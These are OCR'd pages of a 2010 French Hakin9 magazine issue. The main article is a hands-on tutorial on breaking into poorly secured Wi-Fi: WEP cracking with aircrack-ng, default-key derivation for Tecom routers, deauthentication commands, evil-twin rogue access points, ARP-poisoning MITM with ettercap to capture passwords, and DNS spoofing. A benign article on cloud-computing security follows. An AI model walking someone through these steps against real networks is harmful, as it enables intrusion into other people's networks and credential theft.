PRATIQUE faut en moyenne avoir capturé 300 000 paquets pour une clé de 64 bits et 1 000 000 pour une clé 128. Une fois ce nombre atteint, nous pouvons utiliser aircrack en parallèle avec la syntaxe suivante : aircrack–ng –x fichier_capture
Cette commande nous donnera la clé WEP recherchée. Dans le cas contraire, nous continuons la capture des paquets puis nous recommençons. Au final, trois outils ont été utilisés en parallèle pour arriver à notre fin : airodump pour sniffer les paquets, aireplay, pour rejouer et stimuler le réseau, et aircrack pour trouver la clé.
Le wep et l'exotisme D'autres moyens plus exotiques existent pour trouver une clé WEP, méthodes qui, cette fois-ci, ne reposent absolument pas sur des failles structurelles du protocole. En passant outre les différentes méthodes d'ingénieure sociale ou de phishing qu'il serait bon de ne pas passer à la trappe – puisque parfois bien plus efficaces et rapides que n'importe quelle autre méthode -, une solution aussi originale qu'étrange a fait scandale il y a un peu plus
d'un an. Celle-ci n'est autre que le résultat de l'incompétence et de la dangerosité des fournisseurs d'accès eux-même.
Le WEPtool Certains se sont peut être déjà demandé comment étaient générées les clés utilisées par défaut par leur point d'accès. Les plus sages, ou les plus avertis en ce qui concerne la sécurité informatique, auront probablement imaginé qu'il s'agissait tout simplement de clés générées par des générateurs aléatoires quelconques de telle sorte qu'il est à priori impossible – ou du moins très très long – de trouver la clé sans un minimum de travail. Mais l'intelligence fait parfois défaut aux meilleurs d'entre nous... Ainsi, les ingénieurs de l'ancien FAI Club Internet – racheté en fin 2008 par Le 9 - ont pensé relier la clé WEP par défaut à l' ESSID de la box. Dès lors, la clé WEP n'était autre que les 26 premiers caractères de la fonction de hachage sha1 appliquée à l'ESSID. Les routeurs Tecom-AH4021 et Tecom-AH4222 sont particulièrement vulnérables. Par exemple, si votre box a pour ESSID TECOMAH4222-527A92 il suffit de chercher sur la toile un calculateur de hash sha1 puis de prendre les 26 premiers caractères de la sortie, comme le représente la Figure 1.
Figure 5. Le scan de réseau est la première étape dans l'attaque MITM
Mais, comme si cette solution était trop complexe, l'équipe de Club Internet a développé un outil, nommé WEPtool qui s'occupe lui même de faire tous les calculs. En effet, cet outil sorti du chapeau demande uniquement l'identifiant et la version de la box puis sort lui-même la clé WEP. Inutile de dire que cet outil est disponible en ligne avec un magnifique tutoriel expliquant pas à pas son utilisation.
Le fuzzing Enfin, si les méthodes proposées cidessus n'ont pas fonctionné pour la prise de contrôle d'un AP, nous pourrons nous intéresser à la technique de fuzzing – il s'agit d'injecter des données aléatoires dans un programme et de chercher un bug ou un dépassement de tampon. Des techniques sont à l'heure actuelle en cours de développement pour mettre en évidence divers types de failles au niveau des routeurs personnels – attaques de fuzzing sur les drivers.
Accès à l’interface utilisateur de la box Une fois la clé WEP connue et notre MAC modifiée, nous sommes maintenant en mesure de pénétrer discrètement dans le WLAN de la cible. Nous nous connectons à l'interface utilisateur en tapant dans la barre d’adresse de notre navigateur l’adresse IP du routeur. Le plus souvent, il s’agit de 192.168.1.1 ou d’une adresse par défaut dont une liste est proposée sur internet. Nous accèdons alors à une interface d’administration du point d’accès, cependant protégé par un nom d’utilisateur et un mot de passe. Nous tentons les champs par défaut – Ceci suffira pour la plupart des cas. Si ça ne suffit pas, nous pouvons tenter une attaque par dictionnaire. Dans le cas où cela ne fonctionne toujours pas, nous pouvons tenter une attaque en force brute, mais elle risquerait d’être trop longue et ce serait un peu comme tuer une mouche à coups de bazookas. Nous préférerons alors changer de cible. Une fois le nom d’utilisateur et le mot de passe correct saisis, il nous est alors possible de modifier tous les paramètres de l’utilisateur. Un des premiers avantages immédiats est l'anonymat que nous procure cette
44 HAKIN9 3/2010
40_49____wifi.indd 44
2010-03-10, 16:24:57
INTRUSION ET EXPLOITATION D'UN RÉSEAU MAL SÉCURISÉ
intrusion. En effet, après avoir pris le contrôle d'une box, nous circulons sur la toile avec une fausse identité. Les conséquences en sont graves ; pour ne prendre qu'un exemple, revenons sur le très polémique HADOPI. Quels seront en effet les recours du quidam, au fin fond de sa campagne, quand il se verra retirer sa connexion sous prétexte de téléchargement illégal ? Mais cette exploitation de notre travail n'est qu'une cerise sur le gâteau. L'idée est bel et bien de tirer profit de cet accès. Tout d'abord, voyons comment se ramener à un cas similaire lorsque notre victime se connecte à un hotspot. De plus en plus, ces points d'accès libres fleurissent autour de nous, offrant la possibilité au nomade d'accéder à la toile et donc à tous ses comptes directement lors de sa promenade dans le parc ou tout simplement au café du coin. Si les points d'accès sont parfois relativement bien sécurisés de telle sorte que nous ne pouvons pas les investir afin d'assujettir l'ensemble du sous réseau. En revanche, il est possible de tromper les internautes en les connectant à notre propre point d'accès ; cette idée passe par la notion de rogue AP.
notre AP. Pour cela, il existe plusieurs façons de s’y prendre. Dans tous les cas, nous commençons par donner à notre propre box l’identité de BoxPiégée. Ainsi, il n’y a plus aucune différence entre notre box et celle de la victime : les deux box sont jumelles ; rien ne doit permettre de les distinguer de l’extérieur. Ce sont les « evil twins ».
La déshautentification Il s’agit maintenant de piéger l’ordinateur de notre cible. Nous commençons par le déconnecter de sa box en utilisant une attaque de type aireplay–ng déauth . Nous allons désauthentifier la station déjà connectée avec la ligne de commande suivante : $aireplay–ng –0 1 –a adresseMACdel'AP –c adresseMACduclient ath0
dont les paramètres signifient : • • • •
0 = désauthentification 1 = nombre de deauth. a envoyer (peut être +) -a adresseMACdel'AP = MAC de l’AP -c adresseMACduclient = MAC du client que nous sommes en train de deauth.
Nous devrions obtenir la réponse suivante : $11:09:28 Sending DeAuth to station –– STMAC: [00:0F: B5:34:30:30]
Ces paquets de deauth sont envoyés directement de notre PC vers la cible. Il faudra donc veiller à être physiquement proche d’elle pour que notre carte wifi puisse l’atteindre. Une fois déconnectée, la station cible tente immédiatement de se reconnecter. Le gestionnaire de réseau Windows – ou Linux – est en effet paramétré pour se reconnecter de façon immédiate et il s'attèle à sa tâche. L'attaque est réussie s'il ne s’est pas reconnecté à BoxPiégée, mais à notre box. Le passage délicat est ici. En effet, nous savons que le gestionnaire se connecte par défaut au réseau qui émet la plus grande puissance. Il aura donc suffit au préalable d'augmenter au maximum notre puissance ou d'être très proche de la victime. Ainsi, la victime se retrouve connectée sur notre box. Il est presque impossible ni pour la victime ni pour son ordinateur de voir la différence. Les box sont devenues jumelles.
Création du rogue AP Le rogue AP est un AP qui n’est pas légitime sur le réseau. Il est rajouté et émet à l’insu de l’administrateur du réseau. L'idée est de déconnecter l’utilisateur de sa propre box pour le reconnecter à la nôtre, de manière totalement transparente pour lui. Cela donnera des avantages considérables – empoisonnement DNS, possibilité de connaître les sites visités, les mails envoyés, les mots de passe utilisés … – que nous détaillerons par la suite. Ainsi, l’utilisateur sera connecté à notre box, sans s’en apercevoir. Il s’agit d’un échange d’identité sur la toile. De plus, cette technique a l'avantage de pouvoir être utilisée sur tous les réseaux faiblement sécurisés ainsi que sur tous les hotspots proposés par Le Neuf, orange et free, ou certains cafés et restaurants.
Préparaion préliminaire des evil twins La cible est initialement connectée à BoxPiégée. L’idée est de la reconnecter sur
Figure 6. Le logiciel ettercap permet la récupération des mots de passe sur des sites non sécurisés 3/2010 HAKIN9
40_49____wifi.indd 45
45
2010-03-10, 16:25:05
PRATIQUE Le changement de paramètre En revenant au cas précédent de la compromission du réseau WEP, une seconde méthode consisterait, une fois notre AP jumeau préparé, à changer directement un paramètre de connexion de la box compromise : • • • • •
le nom de BoxPiégée, la clé wep, le mode de chiffrement, modification du filtrage MAC, …
L'ordinateur immédiatement déconnecté chercherait alors à se connecter à BoxPiégée, se connectant ainsi à notre point d'accès. Un tel scénario reste très marginal et sans grand intérêt dans la mesure où soit la box est déjà sous contrôle, soit nous ne pouvons pas modifier un de ces paramètres... Nous venons donc de voir dans différents types de cas comment il est
possible d'investir un réseau wifi mal sécurisé. Passons désormais à de potentielles attaques sur ce réseau.
Le contrôle du point d'accès Le contrôle du point d'accès – que ce soit avec la technique du rogue AP ou de la compromission de la box – comporte une quantité d'avantages inestimables. En effet, il nous est alors possible de changer l'intégralité des paramètres de connexion et d'abaisser la sécurité afin d'assujettir ensuite les stations du sous-réseau directement. Par exemple, nous contrôlons à présent l'ouverture de certains ports de la box, le pare-feu, et le serveur DNS, le nom des machines connectées à un instant T... Par ailleurs, il est parfois possible d'administrer la box à distance, ce qui renforce la rentabilité et la puissance d'une telle attaque. L'univers des possibles est à présent délimité par la limite de l'imagination et ce genre d'attaque peut faire un sujet d'article à lui seul.
Création d'un faux certificat Lorsque nous nous connectons sur un site sécurisé, les données sont chiffrées grâace à un algorithme de chiffrement asymétrique – du genre RSA –. Ce chiffrement repose sur le partage d'une clé publique, indispensable au chiffrement des messages. Ainsi, chaque entité chiffre les paquets avec la clé publique et les décrypte avec sa clé privée. Il est important de savoir de façon sûre que l'entité avec laquelle nous dialoguons est effectivement celle qu'elle prétend être, c'està-dire que la clé publique appartient effectivement à une personne identifiée. Nous avons donc recours aux certificats électroniques. Un certificat électronique est une sorte de passeport qui permet d'établir un lien entre une entité physique et une entité virtuelle. Dès lors, lorsque nous nous connectons au site de notre banque, https://www.bankonline.com, un protocole est mis en place afin de nous assurons que notre interlocuteur est bien authentifié. Ainsi, notre ordinateur télécharge le certificat présenté par le site sécurisé puis contrôle l'intégrité des informations contenu dans ce certificat en se référant à l'autorité de certification compétente – dont le rôle est de certifier la validité du certificat –. Celle–ci applique une fonction de hachage au certificat, chiffre le résultat obtenu : ceci constitue la signature du certificat. Une fonction de hachage est une fonction qui permet d'affirmer l'intégrité des données. Elle prend en entrée un message d'une longueur aléatoire et propose en retour une sorte d'empreinte. Concrètement, il s'agit d'une suite d'octets de taille constante, sensée identifier de manière presque sûre le message proposé en entrée – trouver une autre préimage doit être un problème difficile – . Notre ordinateur déchiffre la signature apposée sur le certificat par le CA avec la clé publique du CA puis applique la même fonction de hachage au certificat. Si le résultat concorde avec celui proposé par la CA, celà signifie que le certificat n'a pas été modifié, le site est considéré comme s\^ur, et le navigateur lui fera confiance. Dans le cas contraire, le certificat est proposé à l'utilisateur. C'est la raison pour laquelle dans l'attaque MITM, de faux certificats sont présentés à l'utilisateur lorsqu'il se connecte à des sites sécurisés. Récemment – décembre 2008 – une équipe de chercheurs a trouvé le moyen d'exploiter une vulnérabilité de la fonction de hachage MD5 afin d'usurper l'identité d'un site qui utilise le protocole https - Les prémices de l'explication technique sont proposés en annexe. Dès lors, cette équipe est parvenue à créer un faux certificat accepté comme valide par une autorité de certification – qui utilise la fonction de hachage MD5. Ce faux certificat, signé par une autorité compétente, a la confiance du navigateur. Il est alors possible – mais loin d'être trivial – de combiner cette technique avec le DNS spoofing afin de diriger l'utilisateur vers un site vitrine qui présente un faux certificat validé, de telle sorte que tout deviendra complètement transparent pour l'utilisateur. D'autres méthodes sont disponibles dans l'article SSL Defeating publié par hakin9 en mars 2010.
La restriction au réseau local Lors de l'attaque d'une station dans un réseau public – wifi libre propriétaire proposé dans certains bars café et restaurants – il est souvent préférable de passer par la technique de rogue AP pour éviter d'attirer l'attention sur nos agissements – certains auront peut être pris soin de mettre en place des mesures de contrôle qui détecteraient les protocoles détaillés ci-dessous. Nous pourrons par conséquent appliquer l'ensemble des propositions énoncées ci-dessus. Toutefois, dans la mesure où aucun contrôle durable et à distance n'est envisageable grâce au point d'accès, nous préférons alors revenir au cas du réseau local où nous sommes en possession de la clé WEP. De telles attaques sont alors plus rapides à monter pour un effet éclair. La principale restriction des propositions suivantes demeure donc dans le fait que l'attaquant et la victime doivent appartenir au même réseau. Toutes s'appliquent dans les cas suivant : • • • •
Nous connaissons la clé de chiffrement du réseau sans fil Nous sommes dans le même sous réseau ethernet Nous sommes dans le cas du rogue AP Nous avons compromis la box de la victime mais nous préférons attaquer par le réseau local et les attaques de type MITM
Attaque du type MITM Une fois le côté choix – contrôle du point d'accès ou réseau local - réglé, nous pouvons lancer une attaque. La plus pratique à mettre en œuvre à ce stade-là est fondée sur l'attaque Man In The Middle – que nous abrègerons par MITM. Cette attaque, comme son nom l’indique, place l’ordinateur du pirate sur le chemin entre la victime et son point d'accès. Ainsi, à une place stratégique, le pirate peut à sa guise écouter ou modifier les données qui transitent de manière non chiffrée sur le réseau. Nous l’avons déjà vu, un ordinateur connecté à internet possède deux adresses différentes : l’adresse MAC qui est l’adresse
46 HAKIN9 3/2010
40_49____wifi.indd 46
2010-03-10, 16:25:20
INTRUSION ET EXPLOITATION D'UN RÉSEAU MAL SÉCURISÉ
physique de la carte réseau – adresse fixe et donnée par le constructeur – et l’adresse IP. Un paquet qui circule sur internet utilise pour se localiser exclusivement l’adresse IP. Arrivée dans le sous-réseau, l’adresse IP n’est plus utilisée que pour la traduction avec l'adresse MAC qui, elle permettra l'acheminement final du paquet. Donnons un exemple. Un paquet envoyé par Alice à Bob après avoir parcouru la toile est arrivé dans le sous réseau de Bob au niveau du routeur. Le routeur connait l’adresse IP de Bob mais pas son adresse MAC. Il fait alors appel au protocole ARP qui permet d’établir une correspondance entre l’adresse IP et la MAC. Tout d’abord, il regarde dans son cache s'il a la correspondance ipBob MACBob. S’il ne l’a pas, il lance une requête ARP whohas. Celle ci, envoyée en broadcast à tout le sous-réseau, demande à qui appartient l’IP en question. L'ordinateur de Bob répond en donnant en même temps sa MAC. La table ARP est mise à jour et le message peut être envoyé à l’adresse MACBob. Dans le cadre d’une attaque MITM, le pirate, MAX, va corrompre le cache ARP du routeur et de l’ordinateur de Bob, la victime. En envoyant régulièrement des paquets qui mettent à jour le cache ARP, Max donnera à l'ordinateur de Bob l’association ipdelabox/ MACMax –et se fera ainsi passer aux yeux de la station de Bob comme étant le point d'accès – et à la box l’association ipBob/ MACMax – et se fera ainsi passer pour l'ordinateur de Bob aux yeux de l'AP –. Dès lors, le pirate a une position d’intermédiaire entre Bob et la box. Chaque paquet transite par lui. En effet, l'ordinateur de Bob étant sûr que cet ordinateur est le routeur, il lui enverra tous les paquets à transmettre. Après une étude, l'ordinateur de Max les retransmet à la box avec une modification éventuelle. De même, l'AP est persuadé que l'ordinateur du pirate est en fait celui de Bob. Il luis transférera donc tous les paquets à destination de Bob. Ils sont interceptés puis transmis au destinataire légitime. Dès lors, Max peut suivant sa volonté écouter ou modifier les paquets non chiffrés avant de les acheminer vers la cible. La récupération de mots de passe issus de protocoles non sécurisés – comme pop, smtp, telnet, ftp...- est alors immédiate. L'intégralité du trafic non
protégé est susceptible d'être lu, copié ou modifié. Si ces cas sont déjà très intéressants car la plupart des sites aujourd'hui fonctionnent sur un modèle faiblement sécurisé, les données sensibles – comptes bancaires, webmails... - ont très souvent investi sur le chiffrement des données. Dès lors, tout le trafic issu du protocole HTTPS, puisqu'il est chiffré avec un secret partagé entre la machine et le serveur ne sera pas accessible sans travail pour le pirate. Une explication succincte de ce fonctionnement est proposé dans la Figure 2.
DNS Spoofing En sniffant le trafic émis par la victime, le pirate aura très vite accès à ses sites favoris, sa page d’accueil d’internet et tous les sites qu’elle visite très régulièrement. Il pourra alors compromettre la bonne marche des événements en intervenant au niveau du protocole DNS. Les détournements de DNS sont des attaques très en vogue à l’heure actuelle. Le rapport annuel de Trend Micro sur les menaces Web mars 2009. Très faciles à mettre en place, elles peuvent fournir des informations d’une certaine valeur –numéro de compte, mots passe pour tel ou tel site…– Le principe en est simple, mais nécessite une bonne connaissance du protocole DNS. Le protocole DNS est un protocole de niveau applicatif qui assure la conversion entre une adresse ip et un nom de domaine. L’utilisateur, quand il souhaite visiter un site, saisit le nom de domaine, dit adresse, dans sa barre d’URL – une adresse du type www.cestquoiledns.com –. Cette adresse est en fait le nom d’une machine qui est localisée sur internet, comme toutes les autres machines, grâce à une adresse IP (voir Figure 3). Dès lors, la première chose que fait l’ordinateur avec
ce nom de domaine, est une conversion en adresse IP. Pour cela, il envoie une requête à son serveur DNS, serveur attribué lors de la négociation de la connexion, afin que celui–ci lui fournisse l’IP correspondante. Une fois qu’il a cette IP, l’ordinateur peut faire une requête vers cette IP et ainsi avoir accès aux informations qui permettront d’afficher la page WEB. Cette image est une capture d’écran de l’analyse de trafic avec wireshark lors du démarrage de Firefox. Nous comprenons alors bien ce qui se passe. La première requête effectuée par l'ordinateur – dont l'adresse IP est 192.168.1.12 – est la demande de conversion du nom de domaine start.ubuntu.com en adresse IP. Pour cela, l’ordinateur fait une requête à son serveur DNS –Les informations de connexion indiquent que le serveur DNS responsable du sous-réseau est contenu dans la BOX, 192.168.1.1 – Une fois la correspondance obtenue – start.ubuntu.com = 91.189.94.199 – la connexion désirée s'établit. Nous comprenons bien ici au passage que le contrôle de la box permet le contrôle exclusif du serveur DNS, ce qui représente un pouvoir fort. Placé à une place stratégique depuis l’attaque MITM, l'ordinateur malveillant intercepte les requêtes DNS de la cible. Ainsi, lorsqu'elles demandent l’IP correspondant à un nom de domaine particulier, l'ordinateur pirate est en mesure de lui proposer une adresse pointant sur un site vitrine – site malicieux conçu spécialement pour induire la victime dans l'erreur. Il s'agit donc pour le pirate de consulter certaines pages visitées régulièrement par la victime, et créer un site vitrine très similaire avec par exemple en fond le téléchargement de logiciels malveillants qui lui permettront de gagner un accès sur la station.
Sur Internet • • • • •
http://clubinternet.box-news.fr/forums/viewtopic.php?id=580 – tutoriel de Club Internet sur l'utilisation de WEPtool http://www.movizdb.com/tags/weptool/ - telechargement de WEPtool http://www.unixgarden.com/index.php/securite/la-mort-annoncee-du-wep http://www.aircrack-ng.org/doku.php?id=korek_chopchop – documentation officielle de l'attaque chopchop http://sid.rstack.org/blog/index.php/57-pourquoi-c-est-pourri-le-wep-part-2-cassage-enregle – détail du protocole WEP, de ses faiblesses, et principe des principales attaques
3/2010 HAKIN9
40_49____wifi.indd 47
47
2010-03-10, 16:25:28
PRATIQUE L'attaque MITM, la pratique D’un point de vue pratique, il existe plusieurs outils très performants pour réaliser ces attaques. Dorénavant, nous utiliserons le logiciel ettercap lancé en root depuis une machine UNIX. Lançons ettercap en super utilisateur depuis une console : $ sudo ettercap –G // Le –G permet de lancer l’interface graphique. \ end{verbatim} Le mode super utilisateur permettra de passer la carte en mode promiscuous Une fois le logiciel lancé, nous commençons par préciser que nous souhaitons sniffer le réseau, mais uniquement les ondes radios. Pour cela : Sniff – Uniffied Sniffing (nous pourrons également utiliser le raccourci clavier Maj U) Cette commande permet de sniffer le trafic avec une seule interface. Nous choisissons donc l’interface à espionner : wlan0 – l’interface wifi –. Pour savoir quelles sont les interfaces wifi sur notre ordinateur, nous pouvons utiliser la commande iwconfig en mode console qui détaille les extensions wifi. Le mode sniffing est activé. Il est maintenant intéressant de connaître les différents ordinateurs ou routeurs connectés sur le sous réseau. La commande dédiée à cet effet est Host – Scan for Host (raccourci clavier : Ctrl S). Cette commande a pour effet d'identifier le masque de sous–réseau ; puis, l'ordinateur écoute passivement – sans envoyer de paquets – puis rassemble les informations obtenues – OS, IP, MAC, ports ouverts... - données fournies par un man ettercap Nous accédons à tous les hôtes avec Host – Host list (raccourci clavier H) Ici, seulement deux hôtes sont présents sur le réseau. Il s’agit des IP 192.168.1.1 (adresse correspondant au routeur) et 192.168.1.11 (adresse correspondant à la cible qui est actuellement connecté à internet). Le but de la manœuvre est maintenant de positionner notre ordinateur entre le routeur et notre victime. Pour ce faire, nous sélectionnons la première adresse IP que nous signalons comme cible numéro un (add to target 1) puis la seconde IP que nous déclarons comme cible numéro deux (add to target 2) Précisons ensuite le genre d’attaque à mener : Mitm – Arp poisoning. Il s’agit de
l’attaque que nous avons détaillée plus haut. Enfin, nous commençons l’attaque avec Start – Start sniffing (raccourci clavier Ctrl W) Nous sommes maintenant en position de Man In The Middle. Dès lors, nous écoutons toutes les communications entre l’ordinateur de la victime et la box. Par ailleurs, le logiciel repère tous les noms d'utilisateur et les mots de passe qui circulent en clair. Si la victime essaye de rapatrier ses mails, son ordinateur se connecte au serveur mail et peut faire appel au protocole pop. Comme les mots de passe avec ce protocole circulent en clair – exactement en Base 64 –, ils sont directement lus et retranscrits par ettercap. En revanche, il est pour l'instant impossible d’avoir un accès direct aux conversations chiffrées. C’est pourquoi cette méthode ne permettra pas de lire les mots de passe des sites sécurisés – protocole https, POP3S (over SSL)… Nous ne pourrons avoir une mainmise que sur des choses non sécurisées. De même, si la victime rapatrie ses mails avec le protocole pops – version sécurisés du protocole pop – nous n'aurons aucun moyen direct de l’espionner. Si ce problème se pose, ettercap propose également de construire à la volée de faux certificats de sécurité qui seront envoyés à la victime. Si elle l’accepte, nous aurons accès aux données même chiffrées mais dans des conditions très sophistiquées qui nécessitent une préparation attentive ; par ailleurs, d'autres solutions beaucoup plus discrètes existent et ont déjà été énoncées dans les parutions précédentes. Nous constatons sur cette image que la victime a rapatrié ses e–mails. Elle s’est connecté en pop au serveur 12.242.8.110 sur le port 80. Nous voyons également le nom d’utilisateur et le mot de passe qui permet l’authentification. A ce stade, nous sommes arrivés à nous positionner au milieu des conversations Victime/Box. Nous pouvons alors piéger victime et Box. Pour cela, plusieurs plugins ont été développé par ettercap. Une liste est accessible directement Plugin – Manage the Plugin (raccourci clavier Ctrl P). Par exemple, nous pouvons accéder à l’ensemble des pages
Web visitées par la victime. Cela nous permettra dans le cas où la personne a un webmail sécurisé de connaître le nom de son webmail. Par ailleurs, nous aurons une connaissance fine de ses centres d’intérêt, ce qui peut être un atout dans la recherche de mots de passe, ou pour une campagne de phishing. Sur cette image par exemple, après avoir actionné le plugin remote_browser, nous voyons que la victime se connecte avec le navigateur firefox aux sites www.wanadoo.fr, www.orange.fr... Nous pouvons par ailleurs envisager un DNS spoofing afin de conduire la cible vers des sites vitrines. Pour que le DNS spoofing fonctionne, il faudra préciser la liste des sites piégés et les adresses des serveurs de rechange. Pour cela, nous modifions le fichier /etc/ etter.dns. Ce fichier fournit directement des explications très précises sur les conditions d'utilisation et la syntaxe exacte. D'autres plugins sont également très intéressants – dont certains permettent par exemple de changer à la volée les images du site visité par la cible, ou de faire des statistiques sur la machine que nous espionnons – et une étude plus poussée du logiciel peut alors être utile afin de l'exploiter en entier sans se cantonner à l'éternel MITM expliqué ici.
Conclusion Cet article n'a pas la prétention d'avoir appris quelque chose de fondamentalement nouveau. Il s'agit juste d'une piqûre de rappel devant l'étonnant pourcentage de Wifi mal sécurisé que nous trouvons autour de nous. Ces attaques ne sont que les plus basiques imaginables et une quatité de tutoriels se sont développés sur la toile pour facilité leur accès aux scripts kiddies. Il est donc fondamental de poursuivre cette lutte pour l'information auprès des personnes qui ne seraient pas encore sensibles.
À propos de l'auteur David est étudiant à Télécom Paristech, école d'ingénieurs spécialisée dans les nouvelles technologies de l'information et de la communication. Actuellement élève d'un master concernant la sécurité de l'information, il s'intéresse aux vulnérabilités non seulement techniques mais également humaines, honorant ainsi le social engineering d'une place de choix sur la scène de l'intrusion dans un système d'informations.
48 HAKIN9 3/2010
40_49____wifi.indd 48
2010-03-10, 16:25:35
40_49____wifi.indd 49
2010-03-10, 16:25:42
PRATIQUE Sûr comme dans les nuages
MARCIN KOSEDOWSKI
Degré de difficulté
Impossible d'éviter le cloud computing. Les fournisseurs de services feront en sorte de nous attacher à leurs services et s'occuperont ensuite de nos données. Ce phénomène n'aura pas lieu ni cette année ni l'année prochaine mais la tendance est claire : de plus en plus de données et de calculs seront éparpillés sur le Net. Cela vaut tout simplement le coup.
U
n hacker enfermé dans une pièce sombre utilise son terminal pour accéder à la puissance de calcul du serveur. Hacker les protections n'était pas simple mais rentable : un utilisateur ordinaire n'a pas d'accès aux ressources stockées sur le Net. S'agit-il des souvenirs du début des années 80 du 20ème siècle ? Pas du tout – c'est le futur proche.
Comment un nuage fonctionne-t-il ?
CET ARTICLE EXPLIQUE si vos données sont sûres et pourquoi elles ne le sont pas, pourquoi vous deviendrez dépendant de l'Internet sans fil, pourquoi les script kiddies doivent partir et qui les remplacera.
CE QU'IL FAUT SAVOIR avoir des connaissances de base sur les processus de production, avoir des notions sur les attaques type.
Le terme cloud computing (informatique dans les nuages) à la mode ce dernier temps signifie une manière de partager des ressources et des services via le Net. L'idée consiste à créer une abstraction qui présente à l'utilisateur un résultat d'une opération ou une ressource sans entrer en détails dans le fonctionnement des logiciels et de l'équipement et sans les acquérir. Les points forts de cette solution sont liés à une évolutivité élevée et à une répartition des coûts de gestion du système dans le temps. Les utilisateurs individuels (utilisant les services tels que messagerie électronique par webmail), les petites entreprises qui ne sont pas obligées d'investir dans des équipements chers et dans une maintenance technique et les grandes entreprises qui peuvent obtenir quasiment instantanément un nombre plus élevé de ressources peuvent en bénéficier. L'accès à une messagerie électronique via une interface sur un site Web constitue le meilleur
exemple d'utilisation du cloud computing. L'utilisateur emploie n'importe quel navigateur et appareil (par exemple, un téléphone) pour accéder à son compte. Toutes les données sont stockées sur les disques du fournisseur et les calculs sont effectués par les serveurs reliés par le réseau et travaillant ensemble. Grâce à cette solution, l'ordinateur de l'utilisateur ne nécessite pas une grande puissance de calcul indispensable par exemple pour filtrer quelques milliers de messages électroniques. Les serveurs le feront plus rapidement que le téléphone. Le dispositif de réception ne doit que télécharger et afficher les données et communiquer avec le serveur. Il ne sert que de terminal. Les feuilles de calcul, disponibles en-ligne, ainsi que d'autres applications nécessitant une grande puissance de calcul fonctionnent de la même manière. Cette idée n'est pas neuve. Les premiers ordinateurs, accessibles aux utilisateurs ordinaires, fonctionnaient exactement de la même manière. L'ordinateur central se trouvait à l'université ou dans le siège de l'entreprise et les employés s'y connectaient depuis des terminaux lents mais relativement peu chers. Seule la manière d'accéder aux ressources a changé : au lieu d'un serveur on a maintenant recours à tout un réseau de serveurs. Ce réseau constitue un concept abstrait pour l'utilisateur et sa réalisation physique n'est pas important (d'où le nom cloud ; computing signifie bien évidemment calcul). Les techniques modernes, comme AJAX, améliorent la façon de présenter les données et le confort de l'utilisation.
50 HAKIN9 03/2010
50_59____koswdowski.indd 50
2010-03-11, 14:42:39
INFORMATIQUE DANS LES NUAGES Payer les services SaaS (Service as a Software) est un modèle de distribution des logiciels où les programmes fonctionnent sur le serveur. Seul le résultat du fonctionnement de l'application est communiqué aux utilisateurs. Le règlement s'effectue en général en cycle annuel ou mensuel et il est aussi possible d'acheter un meilleur paquet de services, plus de place sur le disque ou de la puissance de calcul supplémentaire. Cette solution est pratique pour le fournisseur et les destinataires. Le propriétaire du logiciel ne s'expose pas aux copies illégales de programmes, reçoit un versement mensuel et attache les utilisateurs à son programme. Le client n'est pas obligé de payer immédiatement le montant total du logiciel, il peut modifier à tout moment l'étendue des services (par exemple, s'il a acheté trop de services ou s'il décide de développer temporairement son activité). Les petites entreprises et les personnes individuelles considèrent comme importante la maintenance des serveurs par des administrateurs expérimentés et trouvent important d'avoir accès à un meilleur équipement. Confier ses données, en particulier lorsqu'il s'agit des informations essentielles pour une entreprise, est toutefois lié à des risques. La technologie est encore jeune et aucun règlement n'existe pour proposer les services de sauvegarde ou de livraison des logiciels via le cloud computing, ni de paiement pour le résultat et non pour l'application. Le marché progresse toutefois plus vite que prévu et les analystes de l'organisation Gartner affirment que sa valeur dépassera 150 milliards de dollars en cinq ans. Pendant cette période, les entreprises veilleront elles-mêmes à créer des certificats de sécurité appropriés et à éduquer les utilisateurs mais pour l'instant, tout le monde n'est pas conscient du risque. Les petites entreprises qui souhaitent avoir un accès à un disque sur un nuage (ou plutôt des disques virtualisés – cf. l'encadré) pour quelques centaines d'euros, ne se rendent pas toujours compte que leurs données peuvent être volées par exemple par un fournisseur malhonnête. Pas un jour sans rapport sur une fuite ou une perte de données. Pour opter pour les services sur un nuage, il faut avoir une
énorme confiance dans le fournisseur. La question principale est de choisir une bonne entreprise et de lui faire confiance, dit Łukasz Żur de la société Infrastruktura24 proposant des sauvegardes avec le cloud computing et le modèle SaaS. En envoyant les données dans le nuage, nous attendons qu'elles soient traitées par des professionnels dont les services seraient trop chers pour nous si nous voulions les embaucher. D'un côté, c'est une solution sûre mais de l'autre côté,
nos données peuvent par exemple être lues par un fournisseur malhonnête. Il est vrai que les données sont cryptées mais les manières de le faire sont diverses et variées. Il est possible de voir aussi bien une situation où le fournisseur de services est en possession (!) de la clé de chiffrement que des manières avancées de chiffrement dont l'utilisateur a le contrôle complet. Stocker une copie de la clé par le prestataire nous garantit qu'elle ne sera pas supprimée si elle était par exemple
Figure 1. Antivirus en-ligne emploie un nuage de calcul du fournisseur mais il obtient un accès complet aux données. Combien d'utilisateurs lira le contrat ?
Figure 2. Outils pour les sauvegardes en-ligne sont des petits programmes qui ont l'accès aux centres de données modernes pour un coût peu élevé 03/2010 HAKIN9
50_59____koswdowski.indd 51
51
2010-03-11, 14:42:46
PRATIQUE stockée sur le même ordinateur local tombé en panne. Dans un tel cas, une sauvegarde chiffrée n'aurait pas été d'une grande utilité. Un fournisseur malhonnête pourrait toutefois demander d'être payé pour déchiffrer les données. De telles situations peuvent avoir lieu en ce moment car le marché n'est qu'à
l'étape de formation et le cloud computing est relativement rare.
Sûr comme dans une banque ? Les recherches réalisées par les cadres scientifiques de l'Ecole Polytechnique de
Figure 3. La virtualisation est liée inséparablement à l'informatique dans les nuages. La copie d'écran présente Windows XP, SUSE Linux et Windows 7 lancés sur un ordinateur physique commun
Figure 4. Le nuage de calcul permettra de tout lier : terminaux, ordinateurs faibles et dispositifs d'une puissance de calcul peu élevée
